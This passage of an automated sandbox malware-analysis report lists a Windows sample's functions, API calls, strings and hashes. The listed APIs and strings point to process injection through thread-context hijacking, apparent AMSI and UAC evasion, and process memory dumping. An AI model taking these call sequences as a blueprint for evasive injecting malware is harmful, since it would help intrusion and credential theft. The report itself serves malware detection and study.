GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0285AA7C
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0285AA8E

Strings

Heap32ListFirst, xrefs: 0285A98A
Process32FirstW, xrefs: 0285AA08
kernel32.dll, xrefs: 0285A963
Module32FirstW, xrefs: 0285AA74
Thread32First, xrefs: 0285AA2C
Module32Next, xrefs: 0285AA62
Heap32Next, xrefs: 0285A9C0
Module32First, xrefs: 0285AA50
Module32NextW, xrefs: 0285AA86
Process32Next, xrefs: 0285A9F6
Process32NextW, xrefs: 0285AA1A
Thread32Next, xrefs: 0285AA3E
Heap32First, xrefs: 0285A9AE
Process32First, xrefs: 0285A9E4
Heap32ListNext, xrefs: 0285A99C
Toolhelp32ReadProcessMemory, xrefs: 0285A9D2
CreateToolhelp32Snapshot, xrefs: 0285A978

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 482d416c3237a87c6414525343a4233e70031cbd279c450787ea530b272e9166
Instruction ID: 513f6c24ce61d22e4230254f0d2f9c16ec9a18b05a4118359e853800e448c4d4
Opcode Fuzzy Hash: 482d416c3237a87c6414525343a4233e70031cbd279c450787ea530b272e9166
Instruction Fuzzy Hash: C43152BC9807349FFB55EFB8D9E5A163799BB067017000A65BC01CF249EB7894508F97

Function 02858BA8 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654threadnativeinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 0285881C: LoadLibraryA.KERNEL32(00000000,00000000,02858903), ref: 02858850
Part of subcall function 0285881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02858903), ref: 02858860
Part of subcall function 0285881C: GetProcAddress.KERNEL32(75380000,00000000), ref: 02858879
Part of subcall function 0285881C: FreeLibrary.KERNEL32(75380000,00000000,028A2388,Function_000065D8,00000004,028A2398,028A2388,000186A3,00000040,028A239C,75380000,00000000,00000000,00000000,00000000,02858903), ref: 028588E3

GetThreadContext.KERNEL32(00000000,028A2420,ScanString,028A23A4,0285A774,UacInitialize,028A23A4,0285A774,ScanBuffer,028A23A4,0285A774,ScanBuffer,028A23A4,0285A774,UacInitialize,028A23A4), ref: 0285943A

Part of subcall function 02857CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02857D6C

SetThreadContext.KERNEL32(00000000,028A2420,ScanBuffer,028A23A4,0285A774,ScanString,028A23A4,0285A774,Initialize,028A23A4,0285A774,00000000,-00000008,028A24F8,00000004,028A24FC), ref: 0285A14F
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,028A2420,ScanBuffer,028A23A4,0285A774,ScanString,028A23A4,0285A774,Initialize,028A23A4,0285A774,00000000,-00000008,028A24F8), ref: 0285A15C

Part of subcall function 02858798: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028A23A4,0285A3BF,ScanString,028A23A4,0285A774,ScanBuffer,028A23A4,0285A774,Initialize,028A23A4,0285A774,UacScan), ref: 028587AC
Part of subcall function 02858798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028587C6
Part of subcall function 02858798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028A23A4,0285A3BF,ScanString,028A23A4,0285A774,ScanBuffer,028A23A4,0285A774,Initialize), ref: 02858802

Strings

Initialize, xrefs: 02858F22, 02859530, 028596B7, 02859AA0, 02859D02, 02859E72, 02859FE5, 0285A24A, 0285A57B
BCryptRegisterProvider, xrefs: 0285A3D3
ntdll, xrefs: 0285A45D, 0285A471, 0285A529, 0285A6CC, 0285A6E0
bcrypt, xrefs: 0285A3B0, 0285A3C4, 0285A3D8
SLGetLicenseInformation, xrefs: 02859197
OpenSession, xrefs: 02858BE1, 02859004, 028590B6, 0285A487, 0285A5CD
ScanBuffer, xrefs: 02858D04, 02858D8C, 02859127, 0285923C, 028592D9, 02859612, 02859799, 0285992C, 02859B11, 02859C26, 02859DE4, 02859F54, 0285A0C7, 0285A2BB, 0285A4D9, 0285A61F
BCryptQueryProviderRegistration, xrefs: 0285A3BF
UacInitialize, xrefs: 02858E6A, 028591CB, 0285934A, 0285944E, 0285984A, 028599BE, 0285A168
I_QueryTagInformation, xrefs: 0285A538
NtSetSecurityObject, xrefs: 0285A6C7
NtReadVirtualMemory, xrefs: 0285A458
sppc, xrefs: 028591AE
ScanString, xrefs: 02858C3A, 02858DE5, 02858F93, 028593BB, 028595A1, 02859728, 02859BB5, 02859D73, 02859EE3, 0285A056, 0285A341, 0285A3EE
BCryptVerifySignature, xrefs: 0285A3AB
NtOpenObjectAuditAlarm, xrefs: 0285A46C, 0285A524
advapi32, xrefs: 0285A53D
dbgcore, xrefs: 0285A551, 0285A565
MiniDumpReadDumpStream, xrefs: 0285A560
UacScan, xrefs: 02858CAB, 02858EC3, 028594BF, 028598BB, 02859A2F, 0285A1D9, 0285A671
MiniDumpWriteDump, xrefs: 0285A54C
NtOpenProcess, xrefs: 0285A6DB

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Library$Thread$AddressContextFreeLoadProc$HandleMemoryModuleResumeVirtualWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 4175202198-51457883
Opcode ID: 47abb629c399ddc029620df33f86f05bca689230ca742ccd587474b52b3fe39b
Instruction ID: 48979696d76869d9dc6a67ae0ad20b577eb0b20d5bd79e52c186ed12a134e9a4
Opcode Fuzzy Hash: 47abb629c399ddc029620df33f86f05bca689230ca742ccd587474b52b3fe39b
Instruction Fuzzy Hash: 9AE22E3CA1112C9FEB15EB68CCD1FDE73BAAF45300F1082A1A945EB215DE749E468F52

Function 02858BA6 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0285881C: LoadLibraryA.KERNEL32(00000000,00000000,02858903), ref: 02858850
Part of subcall function 0285881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02858903), ref: 02858860
Part of subcall function 0285881C: GetProcAddress.KERNEL32(75380000,00000000), ref: 02858879
Part of subcall function 0285881C: FreeLibrary.KERNEL32(75380000,00000000,028A2388,Function_000065D8,00000004,028A2398,028A2388,000186A3,00000040,028A239C,75380000,00000000,00000000,00000000,00000000,02858903), ref: 028588E3

GetThreadContext.KERNEL32(00000000,028A2420,ScanString,028A23A4,0285A774,UacInitialize,028A23A4,0285A774,ScanBuffer,028A23A4,0285A774,ScanBuffer,028A23A4,0285A774,UacInitialize,028A23A4), ref: 0285943A

Strings

Initialize, xrefs: 02858F22, 02859530, 028596B7, 02859AA0, 02859D02, 02859E72, 02859FE5, 0285A24A, 0285A57B
BCryptRegisterProvider, xrefs: 0285A3D3
ntdll, xrefs: 0285A45D, 0285A471, 0285A529, 0285A6CC, 0285A6E0
bcrypt, xrefs: 0285A3B0, 0285A3C4, 0285A3D8
SLGetLicenseInformation, xrefs: 02859197
OpenSession, xrefs: 02858BE1, 02859004, 028590B6, 0285A487, 0285A5CD
ScanBuffer, xrefs: 02858D04, 02858D8C, 02859127, 0285923C, 028592D9, 02859612, 02859799, 0285992C, 02859B11, 02859C26, 02859DE4, 02859F54, 0285A0C7, 0285A2BB, 0285A4D9, 0285A61F
BCryptQueryProviderRegistration, xrefs: 0285A3BF
UacInitialize, xrefs: 02858E6A, 028591CB, 0285934A, 0285944E, 0285A168
I_QueryTagInformation, xrefs: 0285A538
NtSetSecurityObject, xrefs: 0285A6C7
NtReadVirtualMemory, xrefs: 0285A458
sppc, xrefs: 028591AE
ScanString, xrefs: 02858C3A, 02858DE5, 02858F93, 028593BB, 028595A1, 02859728, 02859BB5, 02859D73, 02859EE3, 0285A056, 0285A341, 0285A3EE
BCryptVerifySignature, xrefs: 0285A3AB
NtOpenObjectAuditAlarm, xrefs: 0285A46C, 0285A524
advapi32, xrefs: 0285A53D
dbgcore, xrefs: 0285A551, 0285A565
MiniDumpReadDumpStream, xrefs: 0285A560
UacScan, xrefs: 02858CAB, 02858EC3, 028594BF, 028598BB, 02859A2F, 0285A1D9, 0285A671
MiniDumpWriteDump, xrefs: 0285A54C
NtOpenProcess, xrefs: 0285A6DB

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Library$AddressContextFreeHandleLoadModuleProcThread
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 1116111917-51457883
Opcode ID: ad5bb4936860bcbd56df5171dd08ad8b959b633e7c77d17b8ee7c3e67f88f964
Instruction ID: 5e9ebc32c9e910456f4dbc7c5b991202afd6cdd650560ac2fe1d4381b59d5067
Opcode Fuzzy Hash: ad5bb4936860bcbd56df5171dd08ad8b959b633e7c77d17b8ee7c3e67f88f964
Instruction Fuzzy Hash: D1E22E3CA1112C9FEB15EB68CCD1FDE73BAAF45300F1082A1A945EB215DE749E468F52

Function 028458B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02846BC8,02840000,0286E790), ref: 028458D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 028458E8
lstrcpynA.KERNEL32(?,?,?), ref: 02845918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02846BC8,02840000,0286E790), ref: 0284597C
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02846BC8,02840000,0286E790), ref: 028459B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02846BC8,02840000,0286E790), ref: 028459C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02846BC8,02840000,0286E790), ref: 028459D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02846BC8,02840000,0286E790), ref: 028459E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02846BC8,02840000), ref: 02845A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02846BC8), ref: 02845A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02845A45

Strings

GetLongPathNameA, xrefs: 028458DF
kernel32.dll, xrefs: 028458CC
\, xrefs: 028459F5

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 1c5ecbf1fd2c483d0a25cf5b33df92d78ce7de87553a334b5a3434fde6a4a3c0
Instruction ID: 84369f2dc520cb1d6e50e0af55d2af6ea3c4539ece5355ea1d537d4f89af2861
Opcode Fuzzy Hash: 1c5ecbf1fd2c483d0a25cf5b33df92d78ce7de87553a334b5a3434fde6a4a3c0
Instruction Fuzzy Hash: 7C41617DD0026DAFDB10DBE8CC88ADEB7BDAF19304F4445A6A548D7241DB349B448F50

Function 02845B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02845B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02845BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02845BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02845BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02845C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02845C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02845C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02845C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02845C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02845C97

Strings

Software\Borland\Locales, xrefs: 02845AA8, 02845AC6
Software\Borland\Delphi\Locales, xrefs: 02845AE4

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction ID: 8a77f6bf04a90b0a9ed97602e4db2111f96c139e7db83543e8d471f674632acd
Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction Fuzzy Hash: DE31757DE4022C6BFB25D6B89C49BDFB7AD5B14384F4401E19608E6181EF789B848F51

Function 02858798 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028A23A4,0285A3BF,ScanString,028A23A4,0285A774,ScanBuffer,028A23A4,0285A774,Initialize,028A23A4,0285A774,UacScan), ref: 028587AC
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028587C6
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028A23A4,0285A3BF,ScanString,028A23A4,0285A774,ScanBuffer,028A23A4,0285A774,Initialize), ref: 02858802

Part of subcall function 02857CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02857D6C

Strings

BCryptVerifySignature, xrefs: 028587BF
bcrypt, xrefs: 028587AB

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 8f479bed7243015e89b2aaec8d6f4d1447b362fa294f8bf4e39e6b5aad0b94e0
Instruction ID: 99c6a9b1b4b740ea2bef5e41a64c43775984533cf46bea9fb23bc3de2996e32f
Opcode Fuzzy Hash: 8f479bed7243015e89b2aaec8d6f4d1447b362fa294f8bf4e39e6b5aad0b94e0
Instruction Fuzzy Hash: C3F0A47DA80628AFF330AAA9A854B16379CB783314F08092ABD08C71A4DFB408508B50

Function 0285DF00 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02844ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02844EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0285DFD2), ref: 0285DF3F
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0285DF79
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0285DFA6
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0285DFAF

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: ae1bbe2fa7bd51a4299bd9e6d3c05de25e8a4dc55826a88f14777f475fb7e0ef
Instruction ID: aa36f6e6a97c854d0cb4031eeb662466fdbb0693f36f9afbaa44f9fea8b6b260
Opcode Fuzzy Hash: ae1bbe2fa7bd51a4299bd9e6d3c05de25e8a4dc55826a88f14777f475fb7e0ef
Instruction Fuzzy Hash: 4A21C179A4031DBBEB11EAE4CC46F9EB7BDDB04B04F504561BA00F75D0DBB46E048A56

Function 0285DE24 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,?), ref: 0285DEA0
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0285DEF2), ref: 0285DEB6
NtDeleteFile.NTDLL(?), ref: 0285DED5

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Path$DeleteFileInitNameName_StringUnicode
String ID:
API String ID: 1459852867-0
Opcode ID: fad174f4c64f1572e94b804f68f519fcf457b6d05178bd024d47fd40d1e0581d
Instruction ID: daca44f36728d9296d7f4b2111f739f27824d997e219caa8dabb68cfed3a01d9
Opcode Fuzzy Hash: fad174f4c64f1572e94b804f68f519fcf457b6d05178bd024d47fd40d1e0581d
Instruction Fuzzy Hash: 7F01867EA4535C6EEB05E7E4CD81BDD77BEAB54704F5000E29A00E6192DB746B088B22

Function 0285DE78 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02844ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02844EDA

RtlInitUnicodeString.NTDLL(?,?), ref: 0285DEA0
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0285DEF2), ref: 0285DEB6
NtDeleteFile.NTDLL(?), ref: 0285DED5

Part of subcall function 02844C0C: SysFreeString.OLEAUT32(0285ED84), ref: 02844C1A

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 1694942484-0
Opcode ID: 9fc3652d9bff851e51bf84785843ba3892d4c213fe68da6b196b06230708364a
Instruction ID: bf25ccdfa47a947b259637e837c88680fcea248115c78368b809f4d42a056042
Opcode Fuzzy Hash: 9fc3652d9bff851e51bf84785843ba3892d4c213fe68da6b196b06230708364a
Instruction Fuzzy Hash: A601F47D94020CBBEB11EBE4CD41FDEB3BDDB58700F5044B1AA00E2580EB746B048A66

Function 02847F54 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02847F75

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 0fbec54a0c02fd547ee90df4e96e63df58f4455ae2e88ae87e717fe42b60fd3b
Instruction ID: 57dfcb1ce5e4bb0889c7e3497fc295a7448d71dc8489575a04b3e4f8afd4b2f3
Opcode Fuzzy Hash: 0fbec54a0c02fd547ee90df4e96e63df58f4455ae2e88ae87e717fe42b60fd3b
Instruction Fuzzy Hash: 521100B5A00209AF9B04CF99C8809AFF7F9EFC8304B14C569A508EB254E6319A018B90

Function 0284A744 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0284A762

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction ID: 92b19c02354e62d5e09d0f1783b568b67ab5b86e4e617b3c7cde9719b5e652bb
Opcode Fuzzy Hash: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction Fuzzy Hash: 49E0927D70021C17D725A56C9C90EE6726D9758310F00416EA949C7341FDA09D404AE5

Function 0284B70C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,0286D106,00000000,0286D11E), ref: 0284B71A

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
